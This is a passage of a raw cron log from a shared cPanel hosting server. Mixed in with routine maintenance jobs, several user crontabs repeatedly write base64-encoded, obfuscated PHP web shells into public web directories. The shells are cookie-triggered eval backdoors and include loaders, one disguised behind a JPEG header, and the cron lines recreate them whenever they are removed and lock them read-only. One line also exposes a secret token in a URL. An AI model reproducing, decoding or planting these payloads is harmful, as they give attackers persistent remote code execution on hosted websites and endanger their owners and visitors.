ZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:24:02 medusa CROND[18998]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:24:02 medusa CROND[18999]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:24:02 medusa CROND[19003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:24:02 medusa CROND[19009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:24:02 medusa CROND[19005]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:25:02 medusa CROND[9344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:25:02 medusa CROND[9345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:25:02 medusa CROND[9343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:25:02 medusa CROND[9346]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:25:02 medusa CROND[9347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:25:02 medusa CROND[9348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:25:02 medusa CROND[9349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9351]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:25:02 medusa CROND[9352]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9353]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9359]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:25:02 medusa CROND[9363]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:25:02 medusa CROND[9365]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:25:02 medusa CROND[9372]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:25:02 medusa CROND[9374]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:25:02 medusa CROND[9376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:25:02 medusa CROND[9384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:25:02 medusa CROND[9390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:25:02 medusa CROND[9393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:25:02 medusa CROND[9388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:26:02 medusa CROND[32170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:26:02 medusa CROND[32171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:26:02 medusa CROND[32172]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:26:02 medusa CROND[32176]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:26:02 medusa CROND[32178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:26:02 medusa CROND[32177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:26:02 medusa CROND[32174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:26:02 medusa CROND[32180]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:26:02 medusa CROND[32181]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
